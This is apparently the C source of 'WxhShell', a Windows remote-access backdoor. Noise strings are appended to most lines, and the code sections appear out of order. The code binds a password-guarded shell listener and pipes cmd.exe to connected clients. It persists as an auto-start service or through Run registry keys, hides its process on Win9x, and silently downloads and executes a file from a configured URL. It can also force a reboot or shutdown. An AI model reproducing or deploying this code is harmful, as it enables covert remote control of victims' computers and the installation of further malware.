    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <}'hkEh{d=  
    else { : sIZ+3  
    closesocket(wsh); G#V5E)Dx  
    ExitThread(0); w`XwW#!}@$  
    } Yo0%5 noz  
    break; 7Cf%v`B4D  
    } FI@2K M  
  // 获取shell g*8LdH 6mq  
  case 's': { b:fy  
    CmdShell(wsh); '>FJk`iI  
    closesocket(wsh); H8 yc<  
    ExitThread(0); KLBV(`MS  
    break; -,j J{Y~  
  } .XM3oIaW  
  // 退出 rN#ydw:9  
  case 'x': { 2,|*KN*e`W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =y>P>&sI  
    CloseIt(wsh); !v\m%t|.  
    break; $eQ_!7Gom$  
    } 8 OC5L1  
  // 离开 ;aYPv8s~,:  
  case 'q': { Wo5G23:xz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bu"Jb4_a>  
    closesocket(wsh); N]cGJU>$  
    WSACleanup(); Y+N^_2@+C  
    exit(1); ^5vFF@to  
    break; }{/4sll  
        } AEkgm^t.{  
  } &*g5kh{  
  } S8j;oJ2 d  
u&l2s&i  
  // 提示信息 fX G+88:2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M%4o0k]E,s  
} [;dWFG"f  
  } UNocm0!N'  
@%J?[PG  
  return; G\h8j*o  
} QQ@, v@j5  
G}i\UXFE  
// shell模块句柄 , 6\i  
int CmdShell(SOCKET sock) >VP\@xt(R[  
{ #V-qS/ q"  
STARTUPINFO si; 9,5v%HZ  
ZeroMemory(&si,sizeof(si)); ri~dWx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `9Ngax=_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P,AS`=z  
PROCESS_INFORMATION ProcessInfo; 9B Lz  
char cmdline[]="cmd"; tjkY[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *sf9(%j  
  return 0; `<y[V  
} o)n8,k&nm  
"Ks%!  
// 自身启动模式 !Dkz6B*  
int StartFromService(void) Q"8)'dL'  
{ 7d/wT+f  
typedef struct n);2b\&  
{ #l~ d  
  DWORD ExitStatus; XRs/gUT  
  DWORD PebBaseAddress; Ed #%F-1sX  
  DWORD AffinityMask; EH3jzE3N  
  DWORD BasePriority; g2C-)*'{yh  
  ULONG UniqueProcessId; `ZN@L<I6  
  ULONG InheritedFromUniqueProcessId; =Z/'|;Vd_x  
}   PROCESS_BASIC_INFORMATION; +YT/od1t7  
6N.mSnp  
PROCNTQSIP NtQueryInformationProcess; =pWpHbB.  
/0SG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &{&lCBN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H*|Bukgt/M  
3]'=s>UO>^  
  HANDLE             hProcess; n i@D7:h  
  PROCESS_BASIC_INFORMATION pbi; v)N6ZOj*C  
i#lvt#2J0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w;H  
  if(NULL == hInst ) return 0; wO} 3i6  
R2Tvo?xI7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?-<t-3%hyV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2 T{PIJg3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T'XAcH  
X_s;j5ur  
  if (!NtQueryInformationProcess) return 0; #CV(F$\1{  
2)RW*Qu;+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e_]1e 7t  
  if(!hProcess) return 0; o)}b Fw  
4)2*|w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ms1\J2  
* V W \  
  CloseHandle(hProcess); :;0?;dpO  
Vu`dEv L?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tP!sOvQ:  
if(hProcess==NULL) return 0;  +KFK..  
 aSHZR  
HMODULE hMod; ?0[%+AD hM  
char procName[255]; &[cL%pP  
unsigned long cbNeeded; w])~m1yW  
[$[t.m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ieBW 0eMi  
>;xEzc!W3*  
  CloseHandle(hProcess); rF~q"9  
.U5+PQN  
if(strstr(procName,"services")) return 1; // 以服务启动 Zz?+,-$_*&  
}WI24|`zM  
  return 0; // 注册表启动 *B:{g>0  
} 7M;Y#=sR  
8x,;B_Zu  
// 主模块 9U}EVpD  
int StartWxhshell(LPSTR lpCmdLine) ~w]1QHA'f  
{ ,eUMSg~P.7  
  SOCKET wsl; vo7 1T<K  
BOOL val=TRUE; MiRH i<g0  
  int port=0; \TMRS(  
  struct sockaddr_in door; <S$y=>.9  
w5n>hz_5  
  if(wscfg.ws_autoins) Install(); w5|@vB/pj  
DvOg|XUU0  
port=atoi(lpCmdLine); njUM>E,'  
{z F  
if(port<=0) port=wscfg.ws_port; eA4*Be;9e  
m(OBk;S~   
  WSADATA data; k}T~N.0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jHz]  
gP1$#KgU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s vo^#V~h'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;prp6(c  
  door.sin_family = AF_INET; v?LJ_>hw*T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =?*V3e3{  
  door.sin_port = htons(port); 3J,/bgL5  
*c3 o&-ke9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M$&>"%Oi  
closesocket(wsl); :cynZab  
return 1; '!1lK  
} p$9N}}/c  
R*yB);p  
  if(listen(wsl,2) == INVALID_SOCKET) { K4R jGSaF  
closesocket(wsl); $^ >n@Q@&L  
return 1; V;:A&  
} b/5~VY*T  
  Wxhshell(wsl); tQl=  
  WSACleanup(); nQ~q -=,L  
uwQ4RYz  
return 0; ,MvvW{EY  
MPL2#YU/a  
} / TJTu_#  
\'p7,F{:>5  
// 以NT服务方式启动 EvECA,!i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A,=l9hE'  
{ @K+u+} R  
DWORD   status = 0; >XZq=q]E!  
  DWORD   specificError = 0xfffffff; 5N|77AAxK  
]B7t9l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g)p[A 4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %##9.Xm6l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1^W Aps  
  serviceStatus.dwWin32ExitCode     = 0; Bkz   
  serviceStatus.dwServiceSpecificExitCode = 0; JGdBpj:  
  serviceStatus.dwCheckPoint       = 0; 9a4RW}S<  
  serviceStatus.dwWaitHint       = 0; ;zJ_apZ:{  
[R:O'AP}@}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ix/uV)]k`  
  if (hServiceStatusHandle==0) return; ftH 0aI  
CNN?8/u!@  
status = GetLastError(); d*AV(g#B  
  if (status!=NO_ERROR) 1)Ag|4  
{ q;AQ6k(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;;`KkNys m  
    serviceStatus.dwCheckPoint       = 0; <_Lo3WGwc  
    serviceStatus.dwWaitHint       = 0; )eG&"3kFe!  
    serviceStatus.dwWin32ExitCode     = status; oDP|>yXC)  
    serviceStatus.dwServiceSpecificExitCode = specificError; }`g*pp*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x p$0J<2  
    return; ^IId =V=2  
  } 3&*%>)  
Rd!.8K[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E nUo B<  
  serviceStatus.dwCheckPoint       = 0; p_nrua?  
  serviceStatus.dwWaitHint       = 0; #]'V#[;~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [a Z)*L ;  
} M1>a,va8Zq  
D2mB4  
// 处理NT服务事件,比如:启动、停止 @6tx5D?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JH5])i0  
{ 6x7=0}'  
switch(fdwControl) D"WkD j"M  
{ tvH)I px  
case SERVICE_CONTROL_STOP: {38aaf|'/  
  serviceStatus.dwWin32ExitCode = 0; .5z|g@ 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZuhT \l  
  serviceStatus.dwCheckPoint   = 0; tO0+~Wm  
  serviceStatus.dwWaitHint     = 0; h}d7M55#|  
  { G?g7G,|d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z:OO|x  
  } }v!6BU6<Q  
  return; 0qZ)$ YKq  
case SERVICE_CONTROL_PAUSE: g[n8N{s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lr~K3nb  
  break; ;K_B,@:'  
case SERVICE_CONTROL_CONTINUE: ditzl(L   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x?F{=\z/o  
  break; p?h;Sv/  
case SERVICE_CONTROL_INTERROGATE: ;|%r!!#-t  
  break; I"!{HnSG`  
}; >fdN`W }M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )}aF=%  
} h ^c'L=dR  
(l,o UBRr  
// 标准应用程序主函数 sDC RL%0QK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?|/}~ nj7  
{ |q>Mw-=  
r6)1Y`K=9  
// 获取操作系统版本 n" ~*9'  
OsIsNt=GetOsVer(); EpfmH `  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S ] &->5"  
K|/a]I":  
  // 从命令行安装 +u2Co_FJ&  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;n@C(hG  
h.^DRR^S  
  // 下载执行文件 O o:jP6r  
if(wscfg.ws_downexe) { E.3}a>f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rt|Hma  
  WinExec(wscfg.ws_filenam,SW_HIDE); n\YxRs7 hF  
} 3{z|301<m  
r?TK@^z  
if(!OsIsNt) { }M9al@"  
// 如果时win9x,隐藏进程并且设置为注册表启动 {Vm36/a  
HideProc(); i<?4iwX%i*  
StartWxhshell(lpCmdLine); 6. jZy~  
} Hn~1x'$  
else Z^l!y5s/H  
  if(StartFromService()) ChGM7uu2  
  // 以服务方式启动 1`t?5|s>  
  StartServiceCtrlDispatcher(DispatchTable); NZuFxJ-`  
else THp `!l  
  // 普通方式启动 v\eBL&WK  
  StartWxhshell(lpCmdLine); <7^~r(DP  
Zy%Z]dF  
return 0; E0Djo'64  
} ,Ai i>D]  
;cr6Xop#?  
c v 9 6F  
B,>FhX>h  
=========================================== -Tx tX8v  
^4[[+r  
%np#Bv-L  
"Zk6B"o)  
u2< h<}Y  
a:}"\>Aj  
" )'~FDw\6  
~'MWtDe:Z8  
#include <stdio.h> .B13)$C  
#include <string.h> G#: !wI  
#include <windows.h> r\d:fot  
#include <winsock2.h> clw91yrQn  
#include <winsvc.h> 'qJ-eQ7e  
#include <urlmon.h> ^Q>*f/.KN  
JWL J<z  
#pragma comment (lib, "Ws2_32.lib") xW =$j|  
#pragma comment (lib, "urlmon.lib") Ol[gck|~  
o }A #-   
#define MAX_USER   100 // 最大客户端连接数 DeA'D|  
#define BUF_SOCK   200 // sock buffer HqBPY[;s  
#define KEY_BUFF   255 // 输入 buffer >G2-kL_  
D3xaR   
#define REBOOT     0   // 重启 CE,O m^  
#define SHUTDOWN   1   // 关机 @U{M"1zZe  
#:|?t&On  
#define DEF_PORT   5000 // 监听端口 JZzf,G:  
hH}/v0_jb  
#define REG_LEN     16   // 注册表键长度 '.yWL  
#define SVC_LEN     80   // NT服务名长度 &|'6-wD.  
a7\L-T+  
// 从dll定义API @3c#\jx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kVnyX@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b]BA,D 4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AFTed?(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pfx71*u,  
_kN%6~+U  
// wxhshell配置信息 #\BI-zt  
struct WSCFG { o(/ ia3  
  int ws_port;         // 监听端口 o$VH,2 QF  
  char ws_passstr[REG_LEN]; // 口令 .~L4#V{c~  
  int ws_autoins;       // 安装标记, 1=yes 0=no zI!R-Nb  
  char ws_regname[REG_LEN]; // 注册表键名 %E"/]!}3  
  char ws_svcname[REG_LEN]; // 服务名 IGT_ 5te  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :QV6 z*#zD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uk  f\*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]a#]3(o]}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FM"BTA:C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~#_$?_/(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lMez!qx,=  
N>%KV8>{L  
}; T1HiHvJ  
Xl6ZV,1=n7  
// default Wxhshell configuration YwWTv  
struct WSCFG wscfg={DEF_PORT, }#*zjMOz  
    "xuhuanlingzhe", J7;n;Mx  
    1, V C'-h~  
    "Wxhshell", !a(qqZ|s  
    "Wxhshell", V)QR!4De  
            "WxhShell Service", |~LjH|*M  
    "Wrsky Windows CmdShell Service", BC{J3<0bf@  
    "Please Input Your Password: ", 5qQ(V)ah  
  1, \Ntdl:fSw  
  "http://www.wrsky.com/wxhshell.exe", }|"*"kxi!  
  "Wxhshell.exe" )^S^s >3  
    }; b[o"Uq@8?  
50bP&dj&  
// 消息定义模块 Qfu*F}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2G5!u)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ku9F N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X/,1]  
char *msg_ws_ext="\n\rExit."; >m6,xxTR  
char *msg_ws_end="\n\rQuit."; *2 $m>N  
char *msg_ws_boot="\n\rReboot..."; #'Y6UGJ\n  
char *msg_ws_poff="\n\rShutdown..."; LY!3u0PnlT  
char *msg_ws_down="\n\rSave to "; ; 9&.QR(  
q\ y#  
char *msg_ws_err="\n\rErr!"; Y_3YO 2K]  
char *msg_ws_ok="\n\rOK!"; k;AiG8jb  
A;j$rGx  
char ExeFile[MAX_PATH]; FJ,\?ooGf  
int nUser = 0; >\x_"oR  
HANDLE handles[MAX_USER]; >wk=`&+V@  
int OsIsNt; b;`#Sea  
VE"0 VB.  
SERVICE_STATUS       serviceStatus; &R FM d=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lPQ Ut!xI  
\]#;!6ge  
// 函数声明 ySK Yqt z  
int Install(void); pF*~)e  
int Uninstall(void); Oj lB 0  
int DownloadFile(char *sURL, SOCKET wsh); 27 YLg c  
int Boot(int flag); *o\Y~U-so  
void HideProc(void); dms:i)L2  
int GetOsVer(void); zV(tvt  
int Wxhshell(SOCKET wsl); i~Ob( YIH  
void TalkWithClient(void *cs); 2N8sq(LK{  
int CmdShell(SOCKET sock); ^@LhUs>3  
int StartFromService(void); V?V)&y] 4  
int StartWxhshell(LPSTR lpCmdLine); Nw$[a$^n  
^AjYe<RU}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,-I F++q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]G o~]7(5|  
l)rvh#D  
// 数据结构和表定义 q,,>:]f#  
SERVICE_TABLE_ENTRY DispatchTable[] = A"<)(M+kG  
{ Iam-'S5  
{wscfg.ws_svcname, NTServiceMain}, ny_ kr`$42  
{NULL, NULL} {p*hNi)0  
}; yH"$t/cU"R  
i&'^9"Z)O  
// 自我安装 [F V=@NI  
int Install(void) ':2*+  
{ $h]Y<&('G  
  char svExeFile[MAX_PATH]; k5%0wHpk=  
  HKEY key; MV;Y?%>  
  strcpy(svExeFile,ExeFile); GKsL~;8"  
)bCG]OM7<  
// 如果是win9x系统,修改注册表设为自启动 Rw ao5l=x  
if(!OsIsNt) { >&Ui*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -}qGb}F8!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bR8 HGH28  
  RegCloseKey(key); z2nUul(2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;'Vipj   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CMxjX  
  RegCloseKey(key); qfP"UAc{/  
  return 0; seqF84Xd<  
    } 7k#${,k  
  } Dss/>! mN  
} zEPx  
else { z1SMQLk  
oB{}-[G  
// 如果是NT以上系统,安装为系统服务 "J[i=~(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); : ` 6$/DK  
if (schSCManager!=0) id#k!*$7  
{ pJ$N@ID  
  SC_HANDLE schService = CreateService I bv_D$cT  
  ( At[n<8_|  
  schSCManager, mp+\!  
  wscfg.ws_svcname, ?Str*XA;  
  wscfg.ws_svcdisp, Rqb{)L X*  
  SERVICE_ALL_ACCESS, g"dZB2`C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "U5Ln2X{J  
  SERVICE_AUTO_START, hNq8 uyKx  
  SERVICE_ERROR_NORMAL, 5Ckk5b  
  svExeFile, [,o5QH\Etq  
  NULL, v1X&p\[d  
  NULL, r@ T-Hi  
  NULL, ),y!<\oQ  
  NULL, rm)SfT<  
  NULL !8"$d_=h  
  ); T?]kF-   
  if (schService!=0)  10l1a4  
  { QC\g%MVG  
  CloseServiceHandle(schService); rPo\Dz  
  CloseServiceHandle(schSCManager); {7Gx9(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )(?UA$"  
  strcat(svExeFile,wscfg.ws_svcname); }KaCf,O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Z?$Co^R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +.gf]|  
  RegCloseKey(key); UU;-q_H6  
  return 0; f?>-yMR|  
    } =@1R ozt  
  } s7UhC.>'@  
  CloseServiceHandle(schSCManager); JJ N(M*;  
} BudWbZ5>Ep  
} we H@S  
A}#]g>L  
return 1; |?fW!y  
} An8%7xa7  
=ve*g&  
// 自我卸载 \\2k}TsB  
int Uninstall(void) {sna)v$;  
{ y[^k*,= 9  
  HKEY key; ]4 K1%ZV  
.n)!ZN  
if(!OsIsNt) { az \<sWb#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h[-d1bKwS  
  RegDeleteValue(key,wscfg.ws_regname); V'Z&>6Z  
  RegCloseKey(key); }W__ffH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J2oWssw"  
  RegDeleteValue(key,wscfg.ws_regname); F; MF:;mM  
  RegCloseKey(key); M8#*zCp{5  
  return 0; !HdvCYB>  
  } j2 o1"  
} !0!U01SWa  
} r{_B:  
else { V &mH#k  
cz7 CrK~5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ySixYt  
if (schSCManager!=0) y ;{^Ln4{  
{ D8@n kSP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x:A-p..e  
  if (schService!=0) ?2?S[\@`0U  
  { `\W   
  if(DeleteService(schService)!=0) { fd5ZaE#f  
  CloseServiceHandle(schService); H4 }%;m%  
  CloseServiceHandle(schSCManager); l}Q"Nb)  
  return 0; O:5Rp_?^  
  } jIx8k8  
  CloseServiceHandle(schService);  ^6)GS%R  
  } cD'HQ3+  
  CloseServiceHandle(schSCManager); DD/>{kff  
} 5q(]1|Se i  
} Z#OhYm+y  
!^)wPmk  
return 1; `?zg3GD_  
} o[bE  
s FQ4O- SM  
// 从指定url下载文件 M1/M}~  
int DownloadFile(char *sURL, SOCKET wsh) +{")E)  
{ <fC@KY>#  
  HRESULT hr; ` j&0VIU>>  
char seps[]= "/"; ()QOZ+x_!  
char *token; FG DGWcRw~  
char *file; 7K>D@O  
char myURL[MAX_PATH]; "EcX_>  
char myFILE[MAX_PATH]; |+Hp+9J  
&dhcKO<4  
strcpy(myURL,sURL); %Y cxC0S[  
  token=strtok(myURL,seps); kf%&d}2to  
  while(token!=NULL) 9 3W  
  { .N~PHyXZR  
    file=token; ibd$%;bX3  
  token=strtok(NULL,seps); :]CzN^k(1c  
  } [%j?.N  
?a'6EAErC  
GetCurrentDirectory(MAX_PATH,myFILE); oUJj5iu}  
strcat(myFILE, "\\"); }}^,7npU  
strcat(myFILE, file); GBH_r 0  
  send(wsh,myFILE,strlen(myFILE),0); K3vseor  
send(wsh,"...",3,0); v2 29H<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y7<zm}=(/  
  if(hr==S_OK) Vq3gceo'0A  
return 0; }xAie(  
else N$\ bg|v  
return 1; [>W"R1/  
KQG-2oW  
} 7d&DrI@~  
1R0ffP]  
// 系统电源模块 r\$6'+Si  
int Boot(int flag) w)+wj[6 E  
{ A6Ghj{~  
  HANDLE hToken; =N YgGEFq.  
  TOKEN_PRIVILEGES tkp; QGs1zfh*  
T>}0) s  
  if(OsIsNt) { Bk?8 zYp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +hE',i.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bA}AD`5  
    tkp.PrivilegeCount = 1; 2 \^G['9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ Ii-NmOr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HXQ e\r  
if(flag==REBOOT) { `I5O4|K)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tbv/wJ  
  return 0; ShQ|{P9  
} ]dvPx^`d{  
else { ,i?)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #SKfE  
  return 0; "(s6aqO$  
} K&=D-50%  
  } PJzc=XPU  
  else { ^_v[QV  
if(flag==REBOOT) { AY#wVy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t)YUPDQ@J  
  return 0; <f N; xIB  
} ev9; Ld  
else { "\e:h| .G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $}t=RW  
  return 0; sLb8*fak  
} cAD[3b[Gk  
} N_UQ  
tAF]2VV(e  
return 1; \tY"BC4.  
} i+g~ Uj}h  
,V,f2W 4  
// win9x进程隐藏模块 $@_{p*q  
void HideProc(void) 93j{.0]X  
{ M\Se_  
a6%@d_A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bW53" `X  
  if ( hKernel != NULL ) v? L  
  { [ `7%sn]$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3UdU"d[75  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q]@c&*_|  
    FreeLibrary(hKernel); m`z7fi7u  
  } 7paUpQit  
zDD4m`2  
return; @Mm/C?#*O  
} av-#)E  
c!It ^*  
// 获取操作系统版本 ',7a E@PJ  
int GetOsVer(void) zJ+3g!  
{ "+)K |9T#  
  OSVERSIONINFO winfo; Y25^]ON*\^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `H>b5  
  GetVersionEx(&winfo); t2- ^-g6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  FZ F @  
  return 1; [#Y' dFQ  
  else ciudRK63M  
  return 0; uRE*%d>  
} )P?IqSEA%  
re^Hc(8M  
// 客户端句柄模块 >c4/ ?YV  
int Wxhshell(SOCKET wsl) v?%LQKO  
{ ]IZ>2!6r  
  SOCKET wsh; ?s?$d&h  
  struct sockaddr_in client; =7%o E[  
  DWORD myID; V|'1tB=;*1  
!nd*W"_gQ/  
  while(nUser<MAX_USER) 24u x  
{ !4WEk  
  int nSize=sizeof(client); T dk ,&8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5{K}?*3hJ  
  if(wsh==INVALID_SOCKET) return 1; y500Xs[c  
i0:>Nk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :]PM_V|  
if(handles[nUser]==0) Dw_D+7>(v  
  closesocket(wsh); Iy';x  
else <xo-Fv  
  nUser++; */z??fI27  
  } 06 i;T~Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N2ied^* 0  
MV0Lq:# N  
  return 0; +pf5\#l?  
} 6?qDdVR~]  
#DFV=:|~  
// 关闭 socket  rkB'Hf  
void CloseIt(SOCKET wsh) ";x+1R.d  
{ tnz+bX26  
closesocket(wsh); Ub_4yN;  
nUser--; yHeEobvb  
ExitThread(0); 4nqoZk^R  
} w8Vw1wW  
bc I']WgB-  
// 客户端请求句柄 Hp Vjee  
void TalkWithClient(void *cs) D\1k.tI  
{ \( )# e  
[q*%U4qGO  
  SOCKET wsh=(SOCKET)cs; ]]0,|My7  
  char pwd[SVC_LEN]; C [uOReo  
  char cmd[KEY_BUFF]; uH@FU60  
char chr[1]; eq[Et +  
int i,j; +nL+ N  
W_`A"WdT.  
  while (nUser < MAX_USER) { i3VW1~.8  
EH*o"N`!r  
if(wscfg.ws_passstr) { C&~1M}I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p\p\q(S">  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q`%R[#  
  //ZeroMemory(pwd,KEY_BUFF); ORN6vX(1  
      i=0; "LhvzM-<8  
  while(i<SVC_LEN) { 'heJ"k?  
`J0i.0p  
  // 设置超时 ^|!I +  
  fd_set FdRead; c{+AJ8  
  struct timeval TimeOut; }8-\A7T  
  FD_ZERO(&FdRead); ZR0r>@M3v<  
  FD_SET(wsh,&FdRead); nH|,T%  
  TimeOut.tv_sec=8; k S# CEU7  
  TimeOut.tv_usec=0; )B# ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N|g;W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )~J>X{hy  
nmU_N:Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FR[ B v  
  pwd=chr[0]; @|}BXQNd  
  if(chr[0]==0xd || chr[0]==0xa) { !4"^`ors$  
  pwd=0; MPgS!V1  
  break; Z?P~z07  
  } ulFzZHJ  
  i++; Yap?^&GV  
    } gi/@ j  
^ KK_qC  
  // 如果是非法用户,关闭 socket 2& PPz}Sw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h%; e0Xz|  
} `:m!~  
[#Lc]$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #11NPo9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uxfl_@lJ  
57a2^  
while(1) { 'ly?P8h  
"gtHTqheH  
  ZeroMemory(cmd,KEY_BUFF); [H<bh%  
O,bkQY$v  
      // 自动支持客户端 telnet标准   .nu @ o40  
  j=0; E/&Rb*3  
  while(j<KEY_BUFF) { {GDmVWG0q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Xi%   
  cmd[j]=chr[0]; ?bZovRx  
  if(chr[0]==0xa || chr[0]==0xd) { 2~[@_  
  cmd[j]=0; `\`>0hlu  
  break; vK7\JZ>  
  } Hs?e0Z=N  
  j++; fj7|D'c  
    } <~TP#uAz  
R[z`:1lo  
  // 下载文件 <!-sZ_qq  
  if(strstr(cmd,"http://")) { ^, l_{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~R$~&x(b  
  if(DownloadFile(cmd,wsh)) M.-"U+#aD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |(m oWY=  
  else  ~ ~uAc_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Vy>O &r  
  } nJ4@I7Sk;  
  else { aQ^umrj@?9  
)"f N!9,F  
    switch(cmd[0]) { 4'$g(+z  
